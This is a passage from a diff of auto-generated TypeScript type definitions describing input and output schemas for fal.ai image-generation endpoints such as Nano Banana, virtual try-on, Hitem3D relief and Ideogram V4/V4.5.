boolean | undefined + */ + enable_web_search?: boolean + /** + * @description The URLs of the images to use for image-to-image generation or image editing. Optional when `video_url` or `pdf_url` is provided. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputGoogleNanoBanana21EditSafetyToleranceEnumKey + /** + * @description Optional video to use as input context. Accepts an http(s)/data URL to a video file (downloaded and sent inline, max 15MB) or a YouTube URL (passed through to the model without downloading). + */ + video_url?: string | null + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. + * @default auto + */ + aspect_ratio?: InputGoogleNanoBanana21EditAspectRatioKey | null + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile37Ee9540 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputGoogleNanoBanana21Edit = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The edited images. + * @example [{"content_type":"image/png","file_name":"nano-banana-multi-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-multi-edit-output.png"}] + * @type array + */ + images: ImageFile37Ee9540[] +} + +export const inputGoogleNanoBananaLiteOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputGoogleNanoBananaLiteOutputFormatEnumKey = + (typeof inputGoogleNanoBananaLiteOutputFormatEnum)[keyof typeof inputGoogleNanoBananaLiteOutputFormatEnum] + +export const inputGoogleNanoBananaLiteAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputGoogleNanoBananaLiteAspectRatioKey = + (typeof inputGoogleNanoBananaLiteAspectRatio)[keyof typeof inputGoogleNanoBananaLiteAspectRatio] + +export const inputGoogleNanoBananaLiteSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputGoogleNanoBananaLiteSafetyToleranceEnumKey = + (typeof inputGoogleNanoBananaLiteSafetyToleranceEnum)[keyof typeof inputGoogleNanoBananaLiteSafetyToleranceEnum] + +export const inputGoogleNanoBananaLiteThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputGoogleNanoBananaLiteThinkingLevelKey = + (typeof inputGoogleNanoBananaLiteThinkingLevel)[keyof typeof inputGoogleNanoBananaLiteThinkingLevel] + +export type InputGoogleNanoBananaLite = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputGoogleNanoBananaLiteOutputFormatEnumKey + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. Use "auto" to let the model decide based on the prompt. + * @default auto + */ + aspect_ratio?: InputGoogleNanoBananaLiteAspectRatioKey | null + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputGoogleNanoBananaLiteSafetyToleranceEnumKey + /** + * @description When set, enables model thinking with the given level ('minimal' or 'high') and includes thoughts in the generation. Omit to disable. + */ + thinking_level?: InputGoogleNanoBananaLiteThinkingLevelKey | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile0B1E02Ac = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputGoogleNanoBananaLite = { + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-lite-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-t2i-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile0B1E02Ac[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export const inputGoogleNanoBananaLiteEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputGoogleNanoBananaLiteEditOutputFormatEnumKey = + (typeof inputGoogleNanoBananaLiteEditOutputFormatEnum)[keyof typeof inputGoogleNanoBananaLiteEditOutputFormatEnum] + +export const inputGoogleNanoBananaLiteEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputGoogleNanoBananaLiteEditAspectRatioKey = + (typeof inputGoogleNanoBananaLiteEditAspectRatio)[keyof typeof inputGoogleNanoBananaLiteEditAspectRatio] + +export const inputGoogleNanoBananaLiteEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputGoogleNanoBananaLiteEditSafetyToleranceEnumKey = + (typeof inputGoogleNanoBananaLiteEditSafetyToleranceEnum)[keyof typeof inputGoogleNanoBananaLiteEditSafetyToleranceEnum] + +export const inputGoogleNanoBananaLiteEditThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputGoogleNanoBananaLiteEditThinkingLevelKey = + (typeof inputGoogleNanoBananaLiteEditThinkingLevel)[keyof typeof inputGoogleNanoBananaLiteEditThinkingLevel] + +export type InputGoogleNanoBananaLiteEdit = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputGoogleNanoBananaLiteEditOutputFormatEnumKey + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. + * @default auto + */ + aspect_ratio?: InputGoogleNanoBananaLiteEditAspectRatioKey | null + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputGoogleNanoBananaLiteEditSafetyToleranceEnumKey + /** + * @description When set, enables model thinking with the given level ('minimal' or 'high') and includes thoughts in the generation. Omit to disable. + */ + thinking_level?: InputGoogleNanoBananaLiteEditThinkingLevelKey | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to use for image-to-image generation or image editing. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] +} + +export type ImageFile71D27753 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputGoogleNanoBananaLiteEdit = { + /** + * @description The edited images. + * @example [{"file_name":"nano-banana-lite-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-edit-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile71D27753[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type InputGoogleVirtualTryOn = { + /** + * @description The URL of the product image to try on. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/tshirt_image.jpg + * @type string + */ + product_image_url: string + /** + * @description The number of virtual try-on images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image of the person trying on the product. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/person_image.jpg + * @type string + */ + person_image_url: string +} + +export type ImageFileBbebbd0E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputGoogleVirtualTryOn = { + /** + * @description The generated virtual try-on images. + * @type array + */ + images: ImageFileBbebbd0E[] +} + +export const inputHitem3DHi3DImageToReliefOutputFormatEnum = { + png: 'png', + exr: 'exr', +} as const + +export type InputHitem3DHi3DImageToReliefOutputFormatEnumKey = + (typeof inputHitem3DHi3DImageToReliefOutputFormatEnum)[keyof typeof inputHitem3DHi3DImageToReliefOutputFormatEnum] + +/** + * @description Input for image-to-relief (depth map) generation. + * @type object + */ +export type InputHitem3DHi3DImageToRelief = { + /** + * @description File format of the generated depth map. + * @default 'png' + * @type string | undefined + */ + output_format?: InputHitem3DHi3DImageToReliefOutputFormatEnumKey + /** + * @description URL of the input image. PNG, JPEG and WebP formats are supported, up to 20MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description Whether to remove the image background before generation. + * @default true + * @type boolean | undefined + */ + remove_background?: boolean + /** + * @description If set to true, input images are checked for safety before processing. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD16A9512 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output of the image-to-relief endpoint. + * @type object + */ +export type OutputHitem3DHi3DImageToRelief = { + /** + * @description Generated depth map file (PNG or EXR). + * @type object + */ + depth_map: FileD16A9512 + /** + * @description Preview image of the generated relief, when available. + */ + thumbnail?: FileD16A9512 | null +} + +export type ImageSize17Ac8F1C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV4OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4OutputFormatEnumKey = + (typeof inputIdeogramV4OutputFormatEnum)[keyof typeof inputIdeogramV4OutputFormatEnum] + +export const inputIdeogramV4AccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4AccelerationEnumKey = + (typeof inputIdeogramV4AccelerationEnum)[keyof typeof inputIdeogramV4AccelerationEnum] + +export const inputIdeogramV4ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4ImageSizeKey = + (typeof inputIdeogramV4ImageSize)[keyof typeof inputIdeogramV4ImageSize] + +export const inputIdeogramV4ExpansionModelEnum = { + None: 'None', + Medium: 'Medium', + Large: 'Large', +} as const + +export type InputIdeogramV4ExpansionModelEnumKey = + (typeof inputIdeogramV4ExpansionModelEnum)[keyof typeof inputIdeogramV4ExpansionModelEnum] + +export const inputIdeogramV4RenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4RenderingSpeedEnumKey = + (typeof inputIdeogramV4RenderingSpeedEnum)[keyof typeof inputIdeogramV4RenderingSpeedEnum] + +export type InputIdeogramV4 = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4OutputFormatEnumKey + /** + * @description The acceleration level to use for the image generation. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputIdeogramV4AccelerationEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The resolution of the generated image. + * @default square_hd + */ + image_size?: ImageSize17Ac8F1C | InputIdeogramV4ImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables prompt expansion and skips its fee; 'Medium' is fast; 'Large' uses Ideogram's Magic Prompt for the highest quality. + * @default 'Medium' + * @example Large + * @type string | undefined + */ + expansion_model?: InputIdeogramV4ExpansionModelEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4RenderingSpeedEnumKey + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string +} + +export type ImageFile4A31F448 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputIdeogramV4 = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile4A31F448[] +} + +export type ImageSize7762160D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV45ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV45ImageSizeKey = + (typeof inputIdeogramV45ImageSize)[keyof typeof inputIdeogramV45ImageSize] + +export const inputIdeogramV45QualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputIdeogramV45QualityEnumKey = + (typeof inputIdeogramV45QualityEnum)[keyof typeof inputIdeogramV45QualityEnum] + +export type InputIdeogramV45 = { + /** + * @description Output size. square is promoted to square_hd (1024x1024). 4:3 presets use 1152x864 or 864x1152; 16:9 presets use 1280x720 or 720x1280. Explicit dimensions must match a supported size: 1024x1024, 1024x3072, 1120x896, 1152x2944, 1152x864, 1248x3328, 1248x832, 1280x3072, 1280x720, 1280x800, 1296x3168, 1440x2560, 1440x2880, 1440x720, 1600x2560, 1664x2496, 1728x2304, 1792x2240, 2048x2048, 2240x1792, 2304x1728, 2496x1664, 2560x1440, 2560x1600, 2880x1440, 2944x1152, 3072x1024, 3072x1280, 3168x1296, 3328x1248, 720x1280, 720x1440, 800x1280, 832x1248, 864x1152, 896x1120 + * @default square_hd + */ + image_size?: ImageSize7762160D | InputIdeogramV45ImageSizeKey + /** + * @description Return image data directly in the response. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The generation or editing prompt. + * @minLength 1 + * @maxLength 10000 + * @example A colorful storefront with a sign reading hello + * @type string + */ + prompt: string + /** + * @description Text-to-image quality. + * @default 'medium' + * @type string | undefined + */ + quality?: InputIdeogramV45QualityEnumKey + /** + * @description Enable partner prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed. Omit to choose automatically. + */ + seed?: number | null +} + +export type File7Fbec231 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputIdeogramV45 = { + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/penguin/lHdRabS80guysb8Zw1kul_image.png"}] + * @type array + */ + images: File7Fbec231[] +} + +export type ImageSize361Be43F = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type ContextWindowBox = { + /** + * @description Top edge in source pixels (inclusive). + * @minimum 0 + * @type integer + */ + y_min: number + /** + * @description Right edge in source pixels (exclusive). + * @minimum 0 + * @type integer + */ + x_max: number + /** + * @description Bottom edge in source pixels (exclusive). + * @minimum 0 + * @type integer + */ + y_max: number + /** + * @description Left edge in source pixels (inclusive). + * @minimum 0 + * @type integer + */ + x_min: number +} + +export const inputIdeogramV45EditEditPrecisionEnum = { + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV45EditEditPrecisionEnumKey = + (typeof inputIdeogramV45EditEditPrecisionEnum)[keyof typeof inputIdeogramV45EditEditPrecisionEnum] + +export const inputIdeogramV45EditImageSize = { + auto: 'auto', + square: 'square', + square_hd: 'square_hd', + portrait_4_3: 'portrait_4_3', + landscape_4_3: 'landscape_4_3', + portrait_16_9: 'portrait_16_9', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV45EditImageSizeKey = + (typeof inputIdeogramV45EditImageSize)[keyof typeof inputIdeogramV45EditImageSize] + +export const inputIdeogramV45EditQualityEnum = { + very_low: 'very_low', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputIdeogramV45EditQualityEnumKey = + (typeof inputIdeogramV45EditQualityEnum)[keyof typeof inputIdeogramV45EditQualityEnum] + +export const inputIdeogramV45EditContextWindowEnum = { + none: 'none', + auto: 'auto', +} as const + +export type InputIdeogramV45EditContextWindowEnumKey = + (typeof inputIdeogramV45EditContextWindowEnum)[keyof typeof inputIdeogramV45EditContextWindowEnum] + +export type InputIdeogramV45Edit = { + /** + * @description regular uses Generate; high uses Precise Edit with unchanged-pixel restoration. Both always prepare structured edit instructions. + * @default 'regular' + * @type string | undefined + */ + edit_precision?: InputIdeogramV45EditEditPrecisionEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Random seed. Omit to choose automatically. + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Return image data directly in the response. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description auto preserves source geometry, downscaled by the provider if needed. Only unmasked regular edits accept named presets or custom sizes: dimensions >=256, multiples of 32, area <=4194304, ratio <=6:1. Named presets use standard fal dimensions. + * @default auto + */ + image_size?: ImageSize361Be43F | InputIdeogramV45EditImageSizeKey + /** + * @description Quality tier for either edit precision. Defaults to medium. + * @default 'medium' + * @type string | undefined + */ + quality?: InputIdeogramV45EditQualityEnumKey + /** + * @description Mask matching the source dimensions. Black edits, white preserves. Must contain both regions after rounding. + */ + mask_url?: string | null + /** + * @description Primary source image to edit. + * @type string + */ + image_url: string + /** + * @description The generation or editing prompt. + * @minLength 1 + * @maxLength 10000 + * @example A colorful storefront with a sign reading hello + * @type string + */ + prompt: string + /** + * @description Up to four references plus the primary source, or three references plus the primary source and mask. + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Explicit region to edit with high edit_precision, in source pixels with exclusive x_max/y_max. Must lie inside the image, measure at least 256 pixels per side, cover at most 4194304 pixels, and have an aspect ratio within 1:6 and 6:1. A mask may select only pixels inside it. Cannot be combined with context_window auto. Leave unset to edit the whole image. + */ + context_window_box?: ContextWindowBox | null + /** + * @description Region to edit with high edit_precision. none edits the whole image, downscaled to at most 4194304 pixels. auto requires mask_url and fits the region around the mask; an oversized mask falls back to whole-image editing. Set context_window_box instead to pick the region yourself. Localized edits preserve the original image resolution and every pixel outside the region. + * @default 'none' + * @type string | undefined + */ + context_window?: InputIdeogramV45EditContextWindowEnumKey +} + +export type File6Fe218D4 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputIdeogramV45Edit = { + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/penguin/lHdRabS80guysb8Zw1kul_image.png"}] + * @type array + */ + images: File6Fe218D4[] +} + +export type ImageSizeE8B90471 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV4FastOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4FastOutputFormatEnumKey = + (typeof inputIdeogramV4FastOutputFormatEnum)[keyof typeof inputIdeogramV4FastOutputFormatEnum] + +export const inputIdeogramV4FastImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputIdeogramV4FastImageSizeKey = + (typeof inputIdeogramV4FastImageSize)[keyof typeof inputIdeogramV4FastImageSize] + +export const inputIdeogramV4FastExpansionModelEnum = { + None: 'None', + Medium: 'Medium', +} as const + +export type InputIdeogramV4FastExpansionModelEnumKey = + (typeof inputIdeogramV4FastExpansionModelEnum)[keyof typeof inputIdeogramV4FastExpansionModelEnum] + +export const inputIdeogramV4FastRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputIdeogramV4FastRenderingSpeedEnumKey = + (typeof inputIdeogramV4FastRenderingSpeedEnum)[keyof typeof inputIdeogramV4FastRenderingSpeedEnum] + +export type InputIdeogramV4Fast = { + /** + * @description If `True`, the image is returned as a data URI and is not stored. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputIdeogramV4FastOutputFormatEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The resolution of the generated image. + * @default square_hd + */ + image_size?: ImageSizeE8B90471 | InputIdeogramV4FastImageSizeKey + /** + * @description Which model expands the prompt. 'None' disables expansion; 'Medium' uses the fast magic prompt model. + * @default 'Medium' + * @example Medium + * @type string | undefined + */ + expansion_model?: InputIdeogramV4FastExpansionModelEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The rendering speed to use. Faster speeds use fewer denoising steps. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputIdeogramV4FastRenderingSpeedEnumKey + /** + * @description The prompt to generate an image from. + * @example A red panda perched on a mossy branch in a misty forest at sunrise + * @type string + */ + prompt: string +} + +export type ImageFile646E3133 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputIdeogramV4Fast = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9c92b2/JLDtkHeeec2BL7ZX3PyvI_KzumHcSa.jpg"}] + * @type array + */ + images: ImageFile646E3133[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } +} + +export type ImageSize73113896 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputIdeogramV4ImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputIdeogramV4ImageToImageOutputFormatEnumKey = + (typeof inputIdeogramV4ImageToImageOutputFormatEnum)[keyof typeof inputIdeogramV4ImageToImageOutputFormatEnum] + +export const inputIdeogramV4ImageToImageAccelerationEnum = { + none: 'none', + low: 'low', + regular: 'regular', + high: 'high', +} as const + +export type InputIdeogramV4ImageToImageAccelerationEnumKey = + (typeof 